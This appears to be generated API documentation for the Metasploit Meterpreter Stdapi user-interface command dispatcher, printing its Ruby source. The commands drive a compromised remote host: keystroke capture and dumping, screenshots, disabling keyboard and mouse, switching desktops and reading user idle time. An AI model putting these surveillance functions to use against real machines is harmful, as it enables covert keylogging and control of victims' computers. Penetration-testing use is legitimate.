Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Ui

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb

Overview

The user interface portion of the standard API extension.

Constant Summary collapse

Klass = 
Console::CommandDispatcher::Stdapi::Ui

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #log_error, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_tabs, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_enumdesktops(*args) ⇒ Object

Enumerate desktops



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 149

def cmd_enumdesktops(*args)
	print_line( "Enumerating all accessible desktops" )
	
	desktops = client.ui.enum_desktops
	
	desktopstable = Rex::Ui::Text::Table.new(
		'Header'  => "Desktops",
		'Indent'  => 4,
		'Columns' => [	"Session",
						"Station",
						"Name"
					]
	)
	
	desktops.each { | desktop |
		session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
		desktopstable << [ session, desktop['station'], desktop['name'] ]
	}
	
	if( desktops.length == 0 )
		print_line( "No accessible desktops were found." )
	else
		print( "\n" + desktopstable.to_s + "\n" )
	end
	
	return true
end

#cmd_getdesktop(*args) ⇒ Object

Get the current meterpreter desktop.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 180

def cmd_getdesktop(*args)
	
	desktop = client.ui.get_desktop
	
	session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"
	
	print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" )
	
	return true
end

#cmd_idletime(*args) ⇒ Object

Executes a command with some options.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 49

def cmd_idletime(*args)
	seconds = client.ui.idle_time

	print_line(
		"User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")
	
	return true
end

#cmd_keyscan_dump(*args) ⇒ Object

Dump captured keystrokes



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 277

def cmd_keyscan_dump(*args)
	print_line("Dumping captured keystrokes...")
	data = client.ui.keyscan_dump
	outp = ""
	data.unpack("n*").each do |inp|
		fl = (inp & 0xff00) >> 8
		vk = (inp & 0xff)
		kc = VirtualKeyCodes[vk]
		
		f_shift = fl & (1<<1)
		f_ctrl  = fl & (1<<2)
		f_alt   = fl & (1<<3)

		if(kc)
			name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
			case name
			when /^.$/
				outp << name
			when /shift|click/i
			when 'Space'
				outp << " "
			else
				outp << " <#{name}> "
			end
		else
			outp << " <0x%.2x> " % vk
		end
	end
	print_line(outp)
	
	return true
end

#cmd_keyscan_start(*args) ⇒ Object

Start the keyboard sniffer



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 259

def cmd_keyscan_start(*args)
	print_line("Starting the keystroke sniffer...")
	client.ui.keyscan_start
	return true
end

#cmd_keyscan_stop(*args) ⇒ Object

Stop the keyboard sniffer



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 268

def cmd_keyscan_stop(*args)
	print_line("Stopping the keystroke sniffer...")
	client.ui.keyscan_stop
	return true
end

#cmd_screenshot(*args) ⇒ Object

Grab a screenshot of the current interactive desktop.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 101

def cmd_screenshot( *args )
	path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
	quality = 50
	view    = true
	
	screenshot_opts = Rex::Parser::Arguments.new(
		"-h" => [ false, "Help Banner." ],
		"-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
		"-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
		"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
	)
	
	screenshot_opts.parse( args ) { | opt, idx, val |
		case opt
			when "-h"
				print_line( "Usage: screenshot [options]\n" )
				print_line( "Grab a screenshot of the current interactive desktop." )
				print_line( screenshot_opts.usage )
				return
			when "-q"
				quality = val.to_i
			when "-p"
				path = val
			when "-v"
				view = false if ( val =~ /^(f|n|0)/i )
		end
	}
	
	data = client.ui.screenshot( quality )
	
	if( data )
		::File.open( path, 'wb' ) do |fd|
			fd.write( data )
		end
	
		path = ::File.expand_path( path )
		
		print_line( "Screenshot saved to: #{path}" )
		
		Rex::Compat.open_file( path ) if view
	end
	
	return true
end

#cmd_setdesktop(*args) ⇒ Object

Change the meterpreters current desktop.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 194

def cmd_setdesktop( *args )
	
	switch   = false
	dsession = -1
	dstation = 'WinSta0'
	dname    = 'Default'
	
	setdesktop_opts = Rex::Parser::Arguments.new(
		"-h" => [ false, "Help Banner." ],
		#"-s" => [ true, "The session (Default: '#{dsession}')" ],
		"-w" => [ true, "The window station (Default: '#{dstation}')" ],
		"-n" => [ true, "The desktop name (Default: '#{dname}')" ],
		"-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
	)
	
	setdesktop_opts.parse( args ) { | opt, idx, val |
		case opt
			when "-h"
				print_line( "Usage: setdesktop [options]\n" )
				print_line( "Change the meterpreters current desktop." )
				print_line( setdesktop_opts.usage )
				return
			#when "-s"
			#  dsession = val.to_i
			when "-w"
				dstation = val
			when "-n"
				dname = val
			when "-i"
				switch = true if ( val =~ /^(t|y|1)/i )
		end
	}
	
	if( client.ui.set_desktop( dsession, dstation, dname, switch ) )
		print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" )
	else
		print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" )
	end
	
	return true
end

#cmd_uictl(*args) ⇒ Object

Enables/disables user interface mice and keyboards on the remote machine.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 61

def cmd_uictl(*args)
	if (args.length < 2)
		print_line(
			"Usage: uictl [enable/disable] [keyboard/mouse]")
		return true
	end

	case args[0]
		when 'enable'
			case args[1]
				when 'keyboard'
					print_line("Enabling keyboard...")
					client.ui.enable_keyboard
				when 'mouse'
					print_line("Enabling mouse...")
					client.ui.enable_mouse
				else
					print_error("Unsupported user interface device: #{args[1]}")
			end
		when 'disable'
			case args[1]
				when 'keyboard'
					print_line("Disabling keyboard...")
					client.ui.disable_keyboard
				when 'mouse'
					print_line("Disabling mouse...")
					client.ui.disable_mouse
				else
					print_error("Unsupported user interface device: #{args[1]}")
			end
		else
			print_error("Unsupported command: #{args[0]}")
	end

	return true
end

#cmd_unlockdesktop(*args) ⇒ Object

Unlock or lock the desktop



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 239

def cmd_unlockdesktop(*args)
	mode = 0
	if(args.length > 0)
		mode = args[0].to_i
	end
	
	if(mode == 0)
		print_line("Unlocking the workstation...")
		client.ui.unlock_desktop(true)
	else
		print_line("Locking the workstation...")
		client.ui.unlock_desktop(false)	
	end

	return true
end

#commands ⇒ Object

List of supported commands.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 22

def commands
	{
		"idletime"      => "Returns the number of seconds the remote user has been idle",
		"uictl"         => "Control some of the user interface components",
		"enumdesktops"  => "List all accessible desktops and window stations",
		"getdesktop"    => "Get the current meterpreter desktop",
		"setdesktop"    => "Change the meterpreters current desktop",
		"keyscan_start" => "Start capturing keystrokes",
		"keyscan_stop"  => "Stop capturing keystrokes",
		"keyscan_dump"  => "Dump the keystroke buffer",
		"screenshot"    => "Grab a screenshot of the interactive desktop",

		#  not working yet
		# "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
	}
end

#name ⇒ Object

Name for this dispatcher.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 42

def name
	"Stdapi: User interface"
end